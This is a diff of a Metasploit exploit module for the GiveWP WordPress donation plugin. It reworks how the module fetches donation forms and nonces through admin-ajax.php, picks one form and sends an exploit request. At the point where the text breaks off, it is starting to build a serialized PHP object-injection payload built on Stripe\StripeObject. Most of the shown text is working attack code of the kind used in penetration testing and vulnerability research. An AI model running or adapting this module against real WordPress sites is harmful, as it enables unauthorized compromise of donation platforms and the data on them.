@@ -71,75 +71,65 @@ def initialize(info = {})
71
71
def check
72
72
return CheckCode ::Unknown unless wordpress_and_online?
73
73
74
- wp_version = wordpress_version
75
- print_status ( "WordPress Version: #{ wp_version } " ) if wp_version
76
-
74
+ print_status ( "WordPress Version: #{ wordpress_version } " ) if wordpress_version
77
75
check_code = check_plugin_version_from_readme ( 'give' , '3.14.2' )
76
+ return CheckCode ::Safe unless check_code . code == 'appears'
78
77
79
- if check_code . code != 'appears'
80
- return CheckCode ::Safe
81
- end
82
-
83
- plugin_version = check_code . details [ :version ]
84
- print_good ( "Detected GiveWP Plugin version: #{ plugin_version } " )
78
+ print_good ( "Detected GiveWP Plugin version: #{ check_code . details [ :version ] } " )
85
79
CheckCode ::Appears
86
80
end
87
81
88
82
def exploit
89
- forms = connect_to_api
83
+ forms = fetch_form_list
84
+ fail_with ( Failure ::UnexpectedReply , 'No forms found.' ) if forms . empty?
90
85
91
- if forms
92
- valid_forms = parse_forms ( forms )
86
+ selected_form = forms . sample
87
+ valid_form = retrieve_and_analyze_form ( selected_form [ 'id' ] )
93
88
94
- send_exploit_requests ( valid_forms )
95
- else
96
- fail_with ( Failure ::UnexpectedReply , 'Failed to connect to the GiveWP API.' )
97
- end
98
- end
89
+ return print_error ( 'Failed to retrieve a valid form for exploitation.' ) unless valid_form
99
90
100
- def connect_to_api
101
- res = send_request_cgi (
102
- 'method' => 'GET' ,
103
- 'uri' => normalize_uri ( target_uri . path , '?give-api=v1/forms' )
91
+ print_status ( "Using Form ID: #{ valid_form [ 'give_form_id' ] } for exploitation." )
92
+ send_exploit_request (
93
+ valid_form [ 'give_form_id' ] ,
94
+ valid_form [ 'give_form_hash' ] ,
95
+ valid_form [ 'give_price_id' ] ,
96
+ valid_form [ 'give_amount' ]
104
97
)
105
-
106
- print_good ( 'Successfully connected to the GiveWP API.' ) if res &.code == 200
107
- print_error ( 'Failed to connect to the GiveWP API.' ) unless res &.code == 200
108
-
109
- JSON . parse ( res . body ) [ 'forms' ] if res &.code == 200
110
98
end
111
99
112
- def parse_forms ( forms )
113
- forms . each_with_object ( [ ] ) do |form , valid_forms |
114
- form_id = form . dig ( 'info' , 'id' )
115
- print_status ( "Analyzing Form ID: #{ form_id } " )
100
+ def fetch_form_list
101
+ res = send_request_cgi (
102
+ 'method' => 'POST' ,
103
+ 'uri' => normalize_uri ( target_uri . path , 'wp-admin' , 'admin-ajax.php' ) ,
104
+ 'data' => 'action=give_form_search'
105
+ )
116
106
117
- form_data = retrieve_and_analyze_form ( form_id )
107
+ return print_error ( 'Failed to retrieve form list.' ) unless res &. code == 200
118
108
119
- print_good ( "Form ID: #{ form_id } has required fields." ) if form_data
120
- print_error ( "Form ID: #{ form_id } does not contain all required fields." ) unless form_data
109
+ forms = JSON . parse ( res . body )
110
+ form_ids = forms . map { | form | form [ 'id' ] } . sort
121
111
122
- valid_forms << form_data if form_data
123
- end
112
+ print_good ( "Successfully retrieved form list. Available Form IDs: #{ form_ids . join ( ', ' ) } " )
113
+ forms
124
114
end
125
115
126
116
def retrieve_and_analyze_form ( form_id )
127
117
form_res = send_request_cgi (
128
- 'method' => 'GET' ,
129
- 'uri' => normalize_uri ( target_uri . path , "?post_type=give_forms&p=#{ form_id } " )
118
+ 'method' => 'POST' ,
119
+ 'uri' => normalize_uri ( target_uri . path , 'wp-admin' , 'admin-ajax.php' ) ,
120
+ 'vars_post' => { 'action' => 'give_donation_form_nonce' , 'give_form_id' => form_id }
130
121
)
131
122
132
- return nil unless form_res &.code == 200
123
+ return unless form_res &.code == 200
133
124
134
- doc = Nokogiri ::HTML ( form_res . body )
135
- give_form_id = doc . at_xpath ( '//input[@name="give-form-id"]/@value' ) &.text
136
- give_form_hash = doc . at_xpath ( '//input[@name="give-form-hash"]/@value' ) &.text
137
- button_tag = doc . at_xpath ( '//button[@data-price-id]' )
125
+ form_data = JSON . parse ( form_res . body )
126
+ give_form_id = form_id
127
+ give_form_hash = form_data [ 'data' ]
128
+ give_price_id = '0'
129
+ give_amount = '$10.00'
130
+ # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.
138
131
139
- return nil unless give_form_id && give_form_hash && button_tag
140
-
141
- give_price_id = button_tag [ 'data-price-id' ]
142
- give_amount = button_tag . text . strip
132
+ return unless give_form_hash
143
133
144
134
{
145
135
'give_form_id' => give_form_id ,
@@ -149,18 +139,6 @@ def retrieve_and_analyze_form(form_id)
149
139
}
150
140
end
151
141
152
- def send_exploit_requests ( valid_forms )
153
- print_status ( 'Sending exploit payload...' )
154
- valid_forms . each do |form_data |
155
- send_exploit_request (
156
- form_data [ 'give_form_id' ] ,
157
- form_data [ 'give_form_hash' ] ,
158
- form_data [ 'give_price_id' ] ,
159
- form_data [ 'give_amount' ]
160
- )
161
- end
162
- end
163
-
164
142
def send_exploit_request ( give_form_id , give_form_hash , give_price_id , give_amount )
165
143
final_payload = format (
166
144
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
0 commit comments